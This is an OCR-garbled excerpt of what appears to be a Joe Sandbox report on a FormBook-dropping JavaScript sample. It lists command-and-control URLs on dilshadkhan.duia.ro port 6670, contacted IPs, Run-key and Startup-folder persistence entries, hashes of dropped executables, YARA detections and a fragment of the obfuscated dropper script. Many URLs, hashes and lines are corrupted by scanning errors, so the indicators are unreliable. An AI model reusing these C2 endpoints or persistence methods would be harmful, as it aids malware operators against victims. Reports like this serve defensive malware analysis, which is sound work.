000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.798112054
.0000023E30EA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.384485036
.000001B74541E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384967035.000001B745438000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000003.384997666
.000001B74540D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384897364.000001B745406000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000003.436056290
.000001A547F92000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.823061632
.000001B745406000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
€.00000002.799403511.0000010D37DC0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.798112054
.0000023E30EA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.384955138
.000001B742E0E000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

true

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

3

Avira URL Cloud: malware

3

Avira URL Cloud: malware

Avira URL Cloud: malware

.

Avira URL Cloud: malware

3

Avira URL Cloud: malware

3

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

hitp://dilshadkhan.duia.ro:6670/VreM

hitp:/fschemas.microsoft.co

hitp://dilshadkhan.duia.ro:6670/Vrel

hitp://dilshadkhan.duia.ro:6670/VrePSAIQ2wi

hitp://dilshadkhan.duia.ro:6670/VreA2

http:/f
dilshadkhan.duia.ro:6670/VrelderViewDual2WWW

http:// dilshadkhan.duia.ro:6670/VreMrf_

hitp://dilshadkhan.duia.ro:6670/Vre7

hitp://dilshadkhan.duia.ro:6670/VreMTf

hitp://dilshadkhan.duia.ro:6670/VreV2

hitp://dilshadkhan.duia.ro:6670/VreZ6

Copyright Joe Security LLC 2022

Source

wscript.exe, 00000001.00000002.815158211
.000001B7453E5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.797140717.000001B744CB0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.574241305
.000001A546126000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.574495089.000001A546128000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.436100065
.000001A547FB4000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788082971.000001A547F80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.788220340
.000001A547FB4000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
C.00000003.615529127.0000010D35F31000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799403511
.0000010D37DC0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
C.00000003.615417763.0000010D35F2A000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000003.614567898
.0000023E2EF58000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000003.616305170.0000023E2EF5B000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.804264808
.0000023E30F15000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.798112054.0000023E30EA0000.00
000004.00000020.00020000.00000000.sdmp

explorer.exe, 00000004.00000000.33234731
0.000000000DDE9000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.369067686.000000000DDE9000.
00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000004.00000000.398054768.000000

000DDE9000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 0000000F.00000002.799686175
.0000023E30EB0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788082971.000001A547F80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799403511
.0000010D37DC0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.798112054.0000023E30EA0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000F.00000002.804301377
.0000023E30F42000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000003.614567898
.0000023E2EF58000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000003.615434435.0000023E2EF6E000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000003.615093241
.0000023E2EF6A000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000002.799462457
.0000010D383C0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000002.799686175
.0000023E30EB0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000002.799462457
.0000010D383C0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000002.804301377
.0000023E30F42000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000003.456284236
.0000010D38441000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

false

true

true

true

true

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: malware

e URL Reputation: safe

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

malware

malware

malware

malware

malware

malware

malware

malware

malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

hitp://dilshadkhan.duia.ro:6670/Vre.duia.ro:6670/Vre

http://dilshadkhan.duia.ro:6670/)

hitp://dilshadkhan.duia.ro:6670/Vre0

hitp://dilshadkhan.duia.ro:6670/Vrenter2

http://dilshadkhan.duia.ro:6670/Vre((

http:/f
dilshadkhan.duia.ro:6670/Vre_ndefender://%ProgramFi
les%

Copyright Joe Security LLC 2022

Source

wscript.exe, 00000001.00000003.554050285
.000001B745454000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.553568378.000001B74544C000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000003.309444184
.000001A547DA9000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.554068672
.000001B745435000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.554186645.000001B742E19000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.712605938
.000001B745460000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.710326547.000001B745435000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.710089935
.000001B742E19000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.837496420.000001B745436000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.714724265
.000001B74541F000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.714465991.000001B745406000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.845175203
.000001B745469000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.554050285.000001B745454000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.712760640
.000001B745457000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.710577509.000001B745454000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.808474712
.000001B7453C5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384997666.000001B74540D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384897364
.000001B745406000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.553568378.000001B74544C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384955138
.000001B742E0E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.801731870.000001B7453A0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.786905329
.000001B742D58000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788120944.000001A547F90000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.788325746
.0000023E2EE92000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.554050285
.000001B745454000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.553568378.000001B74544C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.554153165
.000001B745468000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000003.574065637
.000001A548036000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.573367613.000001A54800B000.00
000004.00000020.00020000.00000000.sdmp

Malicious

true

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown
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Name Source Malicious  Antivirus Detection Reputation

http://dilshadkhan.duia.ro:6670/Vre- wscript.exe, 00000006.00000003.574260264 true e Avira URL Cloud: malware unknown
.000001A547F9E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788120944.000001A547F90000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.436255759
.000001A547F9E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.573544181.000001A547F92000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.757111866
.000001A547F9E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.436056290.000001A547F92000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.435803969
.000001A548020000.00000004.00000020.0002
0000.00000000.sdmp

hitp:// https://www.interlink-travel.com/np8s/? cmmon32.exe, 00000012.00000002.827061760 true e Avira URL Cloud: malware unknown
BI=IHUDzXfpVJ_&c2MH6DeP=05u60IqxnDtTF3riQ4x | .0000000005582000.00000004.10000000.0004

VZIWxoHXK/fTzbXBC7 0000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/Vre$ wscript.exe, 00000001.00000003.710326547 true e Avira URL Cloud: malware unknown

.000001B745435000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384485036.000001B74541E000.00
000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vreadkhan.duu wscript.exe, 00000001.00000002.797140717 true e Avira URL Cloud: malware unknown

.000001B744CB0000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

6.00000002.788082971.000001A547F80000.00

000004.00000020.00020000.00000000.sdmp,

wscript.exe, 0000000C.00000002.799403511

.0000010D37DC0000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

F.00000002.798112054.0000023E30EA0000.00

000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vrerd wscript.exe, 00000001.00000003.384727755 true e Avira URL Cloud: malware unknown
.000001B7453C5000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/ wscript.exe, 0000000F.00000002.790309780 true e Avira URL Cloud: malware unknown
.0000023E30CBB000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.788499693.0000023E2EF22000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.785750450
.000000DCB1B92000.00000004.00000010.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

hitp://dilshadkhan.duia.ro:6670/VreoKo wscript.exe, 0000000F.00000002.804264808 true
.0000023E30F15000.00000004.00000020.0002
0000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/VreQa wscript.exe, 00000006.00000002.788393947 true
.000001A54800C000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

hitp://dilshadkhan.duia.ro:6670/VreEa wscript.exe, 00000006.00000003.436368850 true
.000001A547FEF000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

hitp://dilshadkhan.duia.ro/ wscript.exe, 00000001.00000003.384485036 true
.000001B74541E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384967035.000001B745438000.00
000004.00000020.00020000.00000000.sdmp

Avira URL Cloud: malware unknown

3

3

http://dilshadkhan.duia.ro:6670/VreoH wscript.exe, 00000006.00000002.788120944 true Avira URL Cloud: malware unknown
.000001A547F90000.00000004.00000020.0002

0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vrex. wscript.exe, 00000001.00000003.384727755 true
.000001B7453C5000.00000004.00000020.0002
0000.00000000.sdmp

3

Avira URL Cloud: malware unknown

hitp://dilshadkhan.duia.ro:6670/Vre02-00600806D9B6 | wscript.exe, 0000000C.00000003.456045967 true
.0000010D3844A000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
C.00000003.456254408.0000010D3844F000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000003.456298399
.0000010D3845B000.00000004.00000020.0002
0000.00000000.sdmp

3

Avira URL Cloud: malware unknown
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Name

http://dilshadkhan.duia.ro:6670/Vre%(

hitp://dilshadkhan.duia.ro:6670/Vrec&

hitp://dilshadkhan.duia.ro:6670/Vre

http.// dilshadkhan.duia.ro:6670/Vres2

http://dilshadkhan.duia.ro:6670/VreZigpIHsN

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

wscript.exe, 00000001.00000003.554050285
.000001B745454000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.553568378.000001B74544C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.554153165
.000001B745468000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000002.804315845
.0000023E30F5B000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000003.554186645
.000001B742E19000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.823061632.000001B745406000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384485036
.000001B74541E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.710089935.000001B742E19000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384727755
.000001B7453C5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.787143262.000001B742DEC000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.845175203
.000001B745469000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.554050285.000001B745454000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384967035
.000001B745438000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.815158211.000001B7453E5000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.384997666
.000001B74540D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384691056.000001B7453AD000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.845140560
.000001B745459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384897364.000001B745406000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000003.553568378
.000001B74544C000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.554153165.000001B745468000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.714035079.000001B7453AD000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000001.00000002.801731870
.000001B7453A0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.574260264.000001A547F9E000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.573810530
.000001A547FEF000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788082971.000001A547F80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799403511
.0000010D37DC0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.798112054.0000023E30EA0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown
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] No. of IPs < 25%
[ 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Il 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious

154.220.100.142 www.interlink-travel.com  Seychelles £ 133201 COMING- true
ASABCDEGROUPCOMPA
NYLIMITEDHK

160.153.136.3 rasheedabossmoves.com  United States =] 21501 GODADDY-AMSDE true

3.64.163.50 www.brandpay.xyz United States = 16509 AMAZON-02US true

104.21.4.45 www.2264a.com United States =] 13335 CLOUDFLARENETUS true

85.159.66.93 natroredirect.natrocdn.co  Turkey = 34619 CIZGITR true

m

162.0.230.89 www.topings33.com Canada i+l 22612 NAMECHEAP-NETUS true

132.148.165.111 kishanshree.com United States = 26496 AS-26496-GO-DADDY- true
COM-LLCUS

134.122.201.217 WWW.070iwIp.xyz United States = 64050 BCPL- true
SGBGPNETGIlobalASNSG

52.17.85.125 shop.freewebstore.org United States = 16509 AMAZON-02US false

137.220.133.198 www.ratebill.com Singapore = 64050 BCPL- true
SGBGPNETGIlobalASNSG

34.102.136.180 heavymettlelawyers.com  United States = 15169 GOOGLEUS false

172.96.186.204 liveafunday.xyz Canada I+ 32475 SINGLEHOP-LLCUS true

91.193.75.133 dilshadkhan.duia.ro Serbia ] 209623 DAVID_CRAIGGG true

Private

P

192.168.2.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 635232

Start date and time: 27/05/202217:24:10 2022-05-27 17:24:10 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 14m 51s

Hypervisor based Inspection enabled: false
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Report type: light

Sample file name: CIQ-P0O162667.js
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 39
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 2
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (Javascript)
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.expl.evad.winJS@19/5@41/14
EGA Information: e Successful, ratio: 100%

HDC Information:

HCA Information:

Cookbook Comments:

.

Successful, ratio: 60.7% (good quality ratio 55.4%)
Quality average: 71.8%
Quality standard deviation: 32.2%

.

.

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Found application associated with file extension: .js

Adjust boot time

Enable AMSI

Override analysis time to 240s for JS/VBS files not yet terminated

e o o o

Warnings

°

e o o o

e o o o o

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, backgroundTaskHost.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe,
SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe

HTTP Packets have been reduced

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 20.72.205.209, 51.104.136.2, 52.191.219.104, 40.119.249.228, 20.106.86.13

Excluded domains from analysis (whitelisted): fs.microsoft.com, settings-prod-wus3-1.westus3.cloudapp.azure.com, settings-prod-wus2-2.westus2.cloudapp.azure.com, settings-prod-
neu-2.northeurope.cloudapp.azure.com, settings-prod-sea-2.southeastasia.cloudapp.azure.com, settings-win.data.microsoft.com, arc.msn.com, atm-settingsfe-prod-
weighted.trafficmanager.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, login.live.com, settings-prod-eus-1.eastus.cloudapp.azure.com, sls.update.microsoft.com,
displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

17:25:32 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppData\
Roaming\JmtwmJXhXe.js"

17:25:41 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppDat
a\Roaming\JmtwmJXhXe.js"

17:25:49 Autostart Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dJmtwmJXhXe.js

17:27:53 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run T2KDJXN C:\Program Files (x86)\Cex8di\5hol_r
7nkdhp.exe

17:28:02 Autostart Run: HKCUG64\Software\Microsoft\Windows\CurrentVersion\Run T2KDJXN C:\Program Files (x86)\Cex8di\5hol

_r7nkdhp.exe

Joe Sandbox View / Context

IPs
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@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe v@

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 175616

Entropy (8bit):  7.183748058190585

Encrypted: false

SSDEEP: 3072:SLoTtoIDRDhriOOb3BMWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo

MD5: FF568D4337CE1566C4140FA2FEDF8DB8

SHA1L: 4ADF5F14F47D7855ABB55E9C371D5B39170651AE8

SHA-256: AD408337CE7D70D527D6A9044B1095B7F8149BB63139BOC5F2003E6D55305341

SHA-512: 3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A«
3F

Malicious: true

Yara Hits: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe, Author: JPCERT/CC Incident
Response Group

Antivirus: e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 49%, Browse
e Antivirus: ReversingLabs, Detection: 100%
Preview: MZER ... XS 1..L.IThis program cannot be run in DOS mode....$........ v.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........ PE..L...

@ .@..

C:\Users\user\AppData\Local\Temp\DB1

Process: C:\Windows\SysWOW64\cmd.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+I1Y1PJzr9URCVE9VBMXODOHSFINUfAIGUGYFoNSs8LKvUfIKVYJ7hU:pBCJyC2V8MZyFI8AIG4oNFeymw

MD5: 81DB1710BB13DA3343FCODFIFO0BE49F

SHAL: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Copyright Joe Security LLC 2022 Page 29 of 87


https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Malicious:

Preview:

false

SQLite FOrmat 3......@ +vveeeeeieeeeee e LT SO PSPPSR PPUPRTRPRN

C:\Users\user\AppData\Local\Temp\bin.exe v@

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Yara Hits:

Antivirus:

Preview:

C:\Windows\System32\wscript.exe

PE32 executable (GUI) Intel 80386, for MS Windows

modified

175616

7.183748058190585

false
3072:SLoTtolDRDhriOOb3BmWWS10HUIbtuyCO5CWMFgN5yrPwifeMYNnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo
FF568D4337CE1566C4140FA2FEDF8DB8

4DF5F14F47D7855ABB55E9C371D5B39170651AE8
AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341

3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A«
3F

true

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix Bilstein - yara-
signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response Group

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 100%

1..L.IThis program cannot be run in DOS mode....$ WV.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........ PE..L...

C:\Users\user\AppData\Roaming\JmtwmIJXhXe.js @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines

dropped

12860

5.6732937689743315

false

384:GC4G0+SzKb4qqVHbwpCP+bwp/WBARPOVDJIGHh5EI:94G0+u87wlII
E5C843D004A5FFC57E4DCFC766133E88
F864621E6A56B7C128D8DCI13FEEFB25A98A3B98
06F81E9CFCAA5SFF6D55B88E824F8146058D5579EC5874F4DCD34B6B17845B443

0620ACAF102BFA547D99FEC7D352B021FC6712631D9B383E70C38F5EDE4EB884002CE606818F1DBD2DD2F894E6FB463DC982EF3DEOFFFBFC3076BAB8BCO70!
3A

true

typeof (lArray.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call
(thisArg, this[i], i, this);.  }.}: 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {.  thisArg = thisArg;. var array = [];. for (vari=0;i < this.
length; i++) {. array.push(callback.call(thisArg, thisli], i, this));. }. return array;.}: 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var
values = this;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item,
index, this);. });. returninitial;.} : 0);.function _ p_0340118291(__p_ 4766291975, _ p_4155494791) {. switch (__p_6273300347) {. case -426:. return

_ p_4766291975 + __p_4155494791;. case 183:. return __p_4766291975/

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JmtwmJXhXe.js @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines

dropped

12860

5.6732937689743315

false
384:GC4G0+SzKb4qqVHbwpCP+bwp/WBdARPOVDJIgHh5EI:94G0+u87wlli
E5C843D004A5FFC57E4DCFC766133E88
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

SHAL: F864621E6A56B7C128D8DCI913FEEFB25A98A3B98

SHA-256: 06F81E9CFCAA5FF6D55B88E824F8146058D5579EC5874FADCD34B6B17845B443

SHA-512: 0620ACAF102BFA547D99FEC7D352B021FC6712631D9B383E70C38F5EDE4EB884002CE606818F1DBD2DD2F894E6FB463DC982EF3DEOFFFBFC3076BAB8BCO70!
3A

Malicious: true

